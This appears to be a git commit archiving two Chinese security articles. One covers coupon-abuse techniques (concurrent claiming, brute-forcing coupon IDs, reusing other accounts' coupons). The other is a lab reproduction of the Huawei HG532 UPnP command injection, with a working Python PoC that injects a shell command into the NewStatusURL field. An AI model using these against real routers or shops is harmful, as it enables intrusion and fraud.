【src】SRC漏洞挖掘|优惠券叠加思路分享、经典华为路由器漏洞复现详细分析(包括整个漏洞链)、

This commit is contained in:
test 2025-05-25 01:44:44 +00:00
parent cfe98559e3
commit b2850d20f0
3 changed files with 540 additions and 1 deletions

View File

@ -14411,5 +14411,7 @@
"https://mp.weixin.qq.com/s?__biz=Mzg5OTYwMTY5MA==&mid=2247522496&idx=1&sn=03908f5716152bca098c167b96452dd1": "翻倍回归,实物好礼。端午挖洞,漏洞必“粽”!",
"https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247506454&idx=1&sn=b4531761caf101bef0abf29b9897baca": "Grafana CVE-2025-4123SSRF 和账户接管漏洞完整解读",
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487813&idx=1&sn=c8f2fc003c6b314c308c9b2c966f62db": "全网首发CVE-2025-24813 Tomcat 最新 RCE 分析复现",
"https://mp.weixin.qq.com/s?__biz=MzIzNDU5NTI4OQ==&mid=2247489320&idx=1&sn=f7ef174c29d419e8e8eb311fe56b09b3": "黑客利用Cisco路由器漏洞建立大规模Honeypot网络全球感染5300多台设备"
"https://mp.weixin.qq.com/s?__biz=MzIzNDU5NTI4OQ==&mid=2247489320&idx=1&sn=f7ef174c29d419e8e8eb311fe56b09b3": "黑客利用Cisco路由器漏洞建立大规模Honeypot网络全球感染5300多台设备",
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247490577&idx=1&sn=5caabf72c585d8dfee19437414939fee": "【src】SRC漏洞挖掘优惠券叠加思路分享",
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487871&idx=1&sn=931747ed01161c8355ec47b3b1450df2": "经典华为路由器漏洞复现详细分析(包括整个漏洞链)"
}

View File

@ -0,0 +1,205 @@
# 【src】SRC漏洞挖掘优惠券叠加思路分享
F1sh0rk 神农Sec 2025-05-25 01:02
扫码加圈子
获内部资料
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "")
#
网络安全领域各种资源EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章以及工具分享、前沿信息分享、POC、EXP分享。
不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
#
文章作者:
F1sh0rk
文章来源:
https://www.freebuf.com/articles/vuls/410979.html
![](https://mmbiz.qpic.cn/mmbiz_png/iabIwdjuHp2VkevXU9Iiad0pl0dnkk6GmAQNiaqmb1kKX2NGKhaGF7m8UicdyCp9agykgzj7pNN1oEw4b3QLvFbibzQ/640?wx_fmt=png&from=appmsg&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "")
****
**0x1 前言**
在漏洞挖掘中,相信许多人都遇到过优惠券, 优惠券想必所有人都知道是什么意思简单聊一下就是商家为了使商品更加促销推出的类如“满25-13”等等在下单商品到达特定金额时可以获得一定的优惠力度简单来说就是用了优惠券可以比直接买便宜很多。优惠券在很多购物平台都非常常见红包也是属于优惠券的一种那当我们对SRC的资产进行挖掘的时候碰到优惠券如何进行挖掘呢我先简单的说一下常见的利用优惠券的几种挖掘思路。
![](https://mmbiz.qpic.cn/mmbiz_png/iabIwdjuHp2VkevXU9Iiad0pl0dnkk6GmAQNiaqmb1kKX2NGKhaGF7m8UicdyCp9agykgzj7pNN1oEw4b3QLvFbibzQ/640?wx_fmt=png&from=appmsg&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "")
****
**0x2 挖掘思路**
### 1.并发-优惠券
        在很多购物小程序或很多购物平台中可以领取类似图下的优惠券这里我就随便找了几张截图思路就是当我们是新用户的时候通常都有很多新用户才能领取的大额优惠券比如“10-8”之类的都是只能领取一次后面就无法找到领取的链接了或者是无法领取了这时候我们就可以想如果我们能大量获取这些大额的优惠券那岂不是就突破了商家限制的只能领取一张的限制吗这时候我们就可以抓包抓取领取优惠券这个数据包将他进行并发成功的话将可以无限领取优惠券达到高危
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWVAWLpb42WO7jCUdA6xeyrEojunvbIY0vdmnhtEtMz2uBmZUoxkSyCP9vtRdsuoYlHeQgkUYJRIA/640?wx_fmt=png&from=appmsg "")
### 2.领取隐藏优惠券
  尝试无法并发领取优惠券的时候却发现数据包中有对应优惠券的参数通常逻辑是你点击领取优惠券或者输入优惠券的优惠券号就给你兑换对应号码的优惠券不同的数字号码对应的优惠券额度也不同但是有时候出于某种原因商家在节假日活动会上架一些大额的优惠券只能前几个人领取兑换按钮就灰色了无法领取了但是如果我们遇到非常简单的比如四位数字的优惠券id我们就可以尝试进行爆破有时候会有意外收获可能会领取到商家隐藏的优惠券可能是等下次活动又重新上架的优惠券通常会有大额的优惠券就已经有了一定的危害级别想提高危害级别比如再创多几个账户等等后面的就不多说啦
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWVAWLpb42WO7jCUdA6xeyrO9WY9WkrKibTAxQxruEraALnWnBUJlJ6vHyjQnpa0uCQ4lf52ZtN5Yw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWVAWLpb42WO7jCUdA6xeyryUbJFAmOt41oDZekXRd1hia8RibZIibIfwPU0tgFY3E3uMfJfeCbcibsEg/640?wx_fmt=png&from=appmsg "")
### 3.越权使用优惠券
  如果经常使用优惠券的兄弟们会发现每次优惠券的特定id号都是不一样的就算是同一个额度或类型的优惠券每个账户领取的优惠券在数据包中id都是不一样的这时候我们可以想到我们自己账户1没有优惠券但我们还是想用优惠券这时候我们就可以尝试找一个有优惠券的账号2进行抓包然后获取到优惠券的id号在账户1中进行购买的时候发现在数据包中优惠券的参数是类似"couponCode":"null"或者在购买的数据包里的json数据没有优惠券的参数我们可以自己尝试加优惠券的参数然后将值替换成我们抓到账号2的优惠券id号最后成功在支付页面金额达到优惠并且可能会发现账号2的优惠券并没有被使用掉可能是开发只是简单的处理对最后金额=单价-优惠券这样子危害性就非常大那么我们还可以有另一个想法如果优惠券的id号有规律那我们岂不是可以爆破比如最后四位我们只要查看返回包的金额是否变化即可知道是否有优惠券只不过这样子的话工作量会非常大不知道是否会有大额优惠。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWVAWLpb42WO7jCUdA6xeyrGb7MVyxXtib7GVOAKK8fpNKickVaBkf0euQCSVxV7fxDEibImtW2ibkBcg/640?wx_fmt=png&from=appmsg "")
补充:因为有可能无法获取到优惠券的id号所以很多时候都是拿两个账号来进行测试但是也不是说所有情况都无法获取到可以在领取优惠券的页面查看数据包查js等等都是有可能的或者在社交平台别人看发的订单截图中寻找都是有可能的方法有许多思维不能被限制住
### 4.优惠券叠加
  这个类型就非常特别,当我们点外卖的时候,可以发现有商家红包和通用红包,并且是可以达到叠加的作用,在其他的平台也有不同类型的优惠券,比如找到两个不同类型的优惠券对应的参数,我们就可以尝试将大额优惠券尝试叠加使用两次,达到更大的优惠!!这是因为开发没有将优惠券进行划分,很多开发为了偷懒都会用最省事的处理方式,但是不一定复杂的处理就没有漏洞,有时候往往越复杂步骤越多就越难保证其中的其中一步不会出现逻辑上的错误,往往一步错步步错。
![](https://mmbiz.qpic.cn/mmbiz_png/iabIwdjuHp2VkevXU9Iiad0pl0dnkk6GmAQNiaqmb1kKX2NGKhaGF7m8UicdyCp9agykgzj7pNN1oEw4b3QLvFbibzQ/640?wx_fmt=png&from=appmsg&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "")
****
**0x3 总结**
  本次的分享是我最近挖掘中总是遇到优惠券,这篇文章我只是对优惠券的利用思路进行了简单的介绍,并没有结合支付漏洞来讲,我想写的是单纯优惠券的测试思路,最主要的是只是一时兴起写的哈哈,希望读者们可以学到自己想要的东西,思路不是唯一,漏洞挖掘的时候要多多思考发散思维,往往别人想不到你却能想到的时候就已经超越了大部分的人,漏洞就会随你而来,希望这篇文章可以起到一个抛砖引玉的作用!加油各位师傅们!本人也是一个小菜鸟,轻点喷。
![](https://mmbiz.qpic.cn/mmbiz_png/iabIwdjuHp2VkevXU9Iiad0pl0dnkk6GmAQNiaqmb1kKX2NGKhaGF7m8UicdyCp9agykgzj7pNN1oEw4b3QLvFbibzQ/640?wx_fmt=png&from=appmsg&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "")
****
**0x4 内部圈子详情介绍**
我们是
神农安全
,点赞 + 在看
 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
![](https://mmbiz.qpic.cn/mmbiz_png/mngWTkJEOYJDOsevNTXW8ERI6DU2dZSH3Wd1AqGpw29ibCuYsmdMhUraS4MsYwyjuoB8eIFIicvoVuazwCV79t8A/640?wx_fmt=png&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap086iau0Y0jfCXicYKq3CCX9qSib3Xlb2CWzYLOn4icaWruKmYMvqSgk1I0Aw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "")
**内部圈子介绍**
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap08Z60FsVfKEBeQVmcSg1YS1uop1o9V1uibicy1tXCD6tMvzTjeGt34qr3g/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "")
**圈子专注于更新src/红蓝攻防相关:**
```
1、维护更新src专项漏洞知识库包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目一起挣钱
8、不定期有工作招聘内推工作/护网内推)
9、送全国职业技能大赛环境+WP解析比赛拿奖
```
**内部圈子**
**专栏介绍**
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibRSekfPpgmzg6Pn4yH440wEZhQZaJaxJds7olZp5H8Ma4PicQFclzGbQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibgpeLSDuggy2U7TJWF3h7Af8JibBG0jA5fIyaYNUa2ODeG1r5DoOibAXA/640?wx_fmt=png&from=appmsg "")
**知识星球——**
**神农安全**
星球现价 
¥45元
如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌
星球人数少于800人 45元/年
星球人数少于1000人 60元/年
新人优惠卷20扫码或者私信我即可领取
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUQrFWcBesgFeibmAaLTXbl25YKcjTuT0F7X8qBLgI7JaOjU1DxsgxfyicbBDibicKwvIhjia1Jm33NQaA/640?wx_fmt=png&from=appmsg "")
欢迎加入星球一起交流券后价仅45元 即将满800人涨价
长期
更新更多的0day/1day漏洞POC/EXP
**内部知识库--**
**(持续更新中)**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFu12KTxgSfI69k7BChztff43VObUMsvvLyqsCRYoQnRKg1ibD7A0U3bQ/640?wx_fmt=png&from=appmsg "")
**知识库部分大纲目录如下:**
知识库跟
知识星球联动,基本上每天保持
更新,满足圈友的需求
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFhXF33IuCNWh4QOXjMyjshticibyeTV3ZmhJeGias5J14egV36UGXvwGSA/640?wx_fmt=png&from=appmsg "")
知识库和知识星球有师傅们关注的
EDUSRC
CNVD相关内容内部资料
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFKDNucibvibBty5UMNwpjeq1ToHpicPxpNwvRNj3JzWlz4QT1kbFqEdnaA/640?wx_fmt=png&from=appmsg "")
还有网上流出来的各种
SRC/CTF等课程视频
量大管饱,扫描下面的知识星球二维码加入即可
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFxYMxoc1ViciafayxiaK0Z26g1kfbVDybCO8R88lqYQvOiaFgQ8fjOJEjxA/640?wx_fmt=png&from=appmsg "")
内部小圈子——
圈友反馈
良心价格
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8Hviaqs0Uv6F4NTNkTKDictgOV445RLkia2rFg6s6eYTSaDunVaRF41qBibY1A/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8HviaRhLXFayW3gyfu2eQDCicyctmplJfuMicVibquicNB3Bjdt0Ukhp8ib1G5aQ/640?wx_fmt=png&from=appmsg "")
****
**神农安全公开交流群**
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUz6lqTKv8vQ4xvhXgcCeRvRDlGwaA5B6ibFjVQKQJuhgMN3DQFKodJEfTbFTJQibCGJUv9jpiaEL3dg/640?wx_fmt=jpeg&from=appmsg "")
****
  
```
```
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/b7iaH1LtiaKWW8vxK39q53Q3oictKW3VAXz4Qht144X0wjJcOMqPwhnh3ptlbTtxDvNMF8NJA6XbDcljZBsibalsVQ/640?wx_fmt=gif "")

View File

@ -0,0 +1,332 @@
# 经典华为路由器漏洞复现详细分析(包括整个漏洞链)
原创 菜狗 富贵安全 2025-05-25 00:00
## 漏洞描述
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEcNgnkwZTBItttqs5t5znnvXq0KT8K2A5f0ZH9honx2ehfkXvAlCibfA/640?wx_fmt=png&from=appmsg "")
Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.
华为 HG532 部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击。成功利用此漏洞可导致远程执行任意代码.
没有漏洞的具体位置 我们先解包然后进行分析
## 环境搭建
固件下载:
通过网盘分享的文件router HG532e.rar
 链接: https://pan.baidu.com/s/1e4UXib76bnNlMz4gBl6sjw 提取码: sn0w
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZE0rqM02bOib7YjFiaeWOJhXK19b3NKHCZicNultXUyLNvpKJ1WPR7LCNibQ/640?wx_fmt=png&from=appmsg "")
下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟
```
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2  
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
```
创建虚拟网桥实现虚拟机内部和Ubuntu的连接
```
sudo apt-get install bridge-utils  
sudo brctl addbr Virbr0  
sudo ifconfig Virbr0 192.168.153.1/24 up
```
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEkNBC9n112QmXT1z8WnAEgnJwjSTMok3DShkIm6NPZIjQuwrGIlMicjg/640?wx_fmt=png&from=appmsg "")
创建tap0接口 并添加网桥
```
sudo tunctl -t tap0  
sudo ifconfig tap0 192.168.153.11/24 up  
sudo brctl addif Virbr0 tap0
```
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZE0JS5q2OWIjgf67SSjgIwh4tsKFXqmdH6XxNWiaCLQNI98889RicKrC7g/640?wx_fmt=png&from=appmsg "")
写一个启动脚本start.sh
```
#!/bin/bash  
sudo qemu-system-mips \  
    -M malta \  
    -kernel vmlinux-2.6.32-5-4kc-malta \  
    -hda debian_squeeze_mips_standard.qcow2 \  
    -append "root=/dev/sda1 console=tty0" \  
    -netdev tap,id=tapnet,ifname=tap0,script=no \  
    -device rtl8139,netdev=tapnet \  
    -nographic  
```
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEo77RUwhZWd5RgEQYlPZ2tDqkUDp2lsV37ddlb1WJI9f7H5XCt0MrvQ/640?wx_fmt=png&from=appmsg "")
增加一个IP 检测双ping 是否能ping通
```
ifconfig eth0 192.168.153.3/24 up
```
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZER2V3b4m2A6dQuOmy8D6QL8icaBargm9QtB9LEIXTCib7V8M6u8C6Syqw/640?wx_fmt=png&from=appmsg "")
然后把文件系统复制到我们新启动的虚拟机中
```
sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r squashfs-root/ root@192.168.153.3:~/
```
然后挂载启动
```
mount -o bind /dev ./squashfs-root/dev  
mount -t proc /proc ./squashfs-root/proc  
chroot squashfs-root sh
```
这里根据漏洞分析 是要启动upnp
和mic
这两个接口。
由于启动mic
的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。
```
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.153.3  
chroot squashfs-root sh  
./bin/upnp  
./bin/mic
```
启动后我们发现
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEttsxwISAMV64enudw7QVBia74cO2jdvtZ5uQx7wolx5cDM3NcZj1U8A/640?wx_fmt=png&from=appmsg "")
eth0没了 我们重新启动
```
ifconfig eth0 192.168.153.3/24 up
```
在宿主机测试:
```
nc -vv 192.168.153.3 37215
```
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZETQDSVqchmiciae9j9OcKycJBNL9UiaSHcCbeRF73OziaSYuc7rVmEViaEaw/640?wx_fmt=png&from=appmsg "")
环境启动成功
## 漏洞复现
```
import requests   
headers = {  
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}  
data = '''<?xml version="1.0" ?>  <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">    <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">     <NewStatusURL>;mkdir test_shell;</NewStatusURL>     <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>    </u:Upgrade>  </s:Body>  </s:Envelope>  '''
requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
```
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZETeOfIwUrs5OzVpSS8miaswziauVM1pO1A2VInaIX9JsHsQEafy2Tgia1w/640?wx_fmt=png&from=appmsg "")
注入成功
## 漏洞分析
漏洞首发于CheckPoint其漏洞报告中描述了漏洞利用的一些细节
华为家庭网关利用标准化的UPnP协议基于TR-064技术报告来简化和无缝连接网络配置广泛应用于嵌入式设备中。这些设备通常用于家庭和企业的本地网络配置比如设备配置和固件升级。然而在目标路由器中TR-064通过37215端口暴露于WAN。具体到这款路由器其UPnP实现支持DeviceUpgrade
服务类型该服务通过在URL /ctrlt/DeviceUpgrade_1
 接收请求执行固件升级并使用NewStatusURL
和NewDownloadURL
两个SOAP元素。然而这两个元素存在命令注入漏洞导致安全风险。
### 分析upnp
跟踪"NewStatusURL" 用ida分析发现
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEkVKlP1CDxcfjzM9S4IQZuEyGhGkY5qJtoFDsOoibvMlRSMA5ibE8kaTA/640?wx_fmt=png&from=appmsg "")
直接看汇编可能不是很能看出来 我们通过ghidra 进行分析
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEkVKlP1CDxcfjzM9S4IQZuEyGhGkY5qJtoFDsOoibvMlRSMA5ibE8kaTA/640?wx_fmt=png&from=appmsg "")
```
intFUN_0040749c(int param_1){  
int iVar1;  
char *local_418;  
char *local_414;  
char acStack1040 [1028];  
  iVar1 = ATP_XML_GetChildNodeByName  
                 (\*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);  
if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&  
     (iVar1 = ATP_XML_GetChildNodeByName  
                     (\*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)) {  
    if (local_414 != (char *)0x0) {  
      snprintf(acStack1040,0x400,"upg -g -U %s -t \\'1 Firmware Upgrade Image\\' -c upnp -r %s -d -b",  
               local_418,local_414);  
      system(acStack1040);  
    }  
  }  
return iVar1;  
}
```
通过进一步分析源码可以得出
```
intATP_XML_GetChildNodeByName(int param_1,char *param_2,int *param_3,int *param_4){  
int iVar1;  
  code *pcVar2;  
int local_28;  
char *local_24;  
  iVar1 = 0x40090000;  
if (param_2 != (char *)0x0) {  
    pcVar2 = TSP_XML_GetNodeFirstChild;  
    while (param_1 = (\*pcVar2)(param_1), param_1 != 0) {  
      iVar1 = TSP_XML_GetNodeValue(param_1,0,0,&local_24,&local_28);  
      if (iVar1 != 0) {  
        if (param_4 == (int *)0x0) {  
          return iVar1;  
        }  
        \*param_4 = 0;  
        return iVar1;  
      }  
      if ((local_24 != (char *)0x0) && (iVar1 = strcmp(local_24,param_2), iVar1 == 0)) {  
        if (param_3 != (int *)0x0) {  
          \*param_3 = param_1;  
        }  
        if (param_4 == (int *)0x0) {  
          return0;  
        }  
        if (local_28 != 0) {  
          FUN_00408540();  
        }  
        \*param_4 = local_28;  
        return0;  
      }  
      pcVar2 = TSP_XML_GetNodeNextSibling;  
    }  
    if (param_4 != (int *)0x0) {  
      \*param_4 = 0;  
    }  
    iVar1 = 0x40090004;  
  }  
return iVar1;  
}  
```
local_418
是ATP_XML_GetChildNodeByName
函数获取xml中的NewDownloadURL
节点内容
local_414
 是ATP_XML_GetChildNodeByName
函数获取xml中的NewStatusURL
节点内容
然后最后拼接到acStack1040
中进行命令执行因此我们只要想办法控制NewDownloadURL
或者NewStatusURL
其中一个就可以进行命令注入了。
跟进研究看一下漏洞如何触发 参数如何控制 这里的漏洞函数是没有进行调用的 交叉引用没有找到因此我们只能去搜索看看。
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEeNHH0e4EZWk3aBUYTGyuFWibhQkGWlR0qMoQHC6dwkFJ7SicvMXuLZxg/640?wx_fmt=png&from=appmsg "")
```
<?xml version="1.0"?>
<scpdxmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<actionList>
<action>
<name>Upgrade</name>
<argumentList>
<argument>
<name>NewDownloadURL</name>
<direction>in</direction>
<relatedStateVariable>DownloadURL</relatedStateVariable>
</argument>
<argument>
<name>NewStatusURL</name>
<direction>in</direction>
<relatedStateVariable>StatusURL</relatedStateVariable>
</argument>
</argumentList>
</action>
<action>
<name>GetSoftwareVersion</name>
<argumentList>
<argument>
<name>NewSoftwareVersion</name>
<direction>out</direction>
<relatedStateVariable>SoftwareVersion</relatedStateVariable>
</argument>
</argumentList>
</action>
</actionList>
<serviceStateTable>
<stateVariablesendEvents="no">
<name>DownloadURL</name>
<dataType>string</dataType>
</stateVariable>
<stateVariablesendEvents="no">
<name>StatusURL</name>
<dataType>string</dataType>
</stateVariable>
<stateVariablesendEvents="no">
<name>SoftwareVersion</name>
<dataType>string</dataType>
</stateVariable>
</serviceStateTable>
</scpd>
```
然后去跟踪DevUpg.xml
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZESJIABm6jVs1frI0eI48IRLGRqORFs6pZWBOARwXnxsIvXURslvicsBQ/640?wx_fmt=png&from=appmsg "")
发现这个函数对ATP_UPnP_RegDevice
函数和ATP_UPnP_RegService
函数有大量的调用,猜测这个函数可能主要用于开启一些交互服务。
继续跟进:
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZE7ibgaul5ib0pquZWQyh9bElu1N59Uw9XdgB4PNmRmdGmVywwmPOAkAKg/640?wx_fmt=png&from=appmsg "")
g_astActionArray
全局变量修复后:
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZENrbMfyojurFribBf6wU1IRibQe1blGkbcyfqQOeUc7XHU10K8gqOsia1g/640?wx_fmt=png&from=appmsg "")
这是一个虚表这里面存在我们的漏洞函数 因此我们继续跟进。
发现这个虚表还会被UPnPGetActionByName
调用。
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEBo5OnbicBeD3m2JILyibvWWoJwffTtQLyVibgpKHtCIsXecpJd1g3KZZA/640?wx_fmt=png&from=appmsg "")
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEYhp69IGeBN3DKEYWJoNFbHDHwebQMiapBIEDNVOhicy4OpZ5FW9KwN9g/640?wx_fmt=png&from=appmsg "")
取值并调用返回函数 因此就找到调用漏洞函数的位置 那么如何取触发呢?进一步分析发现:
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEialPYapGfeA2bavtWfX8FmEBuLypa72ZY5Fb6G5j7bk279vvpfBfsmA/640?wx_fmt=png&from=appmsg "")
可以看到有一个路径检测。
![图片.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5n7YfaR2wv4fMT6KUTjZ1ZEOib8Soic20yyxycia6ADrYYHicHTrQaRFGA02PdZNkZ6JEetrQlHbykXoA/640?wx_fmt=png&from=appmsg "")
通过测试接口可以测试出路径然后整个的漏洞流程就分析完了。可以通过流量抓包改写 来修改exp
原文链接:
https://forum.butian.net/share/4044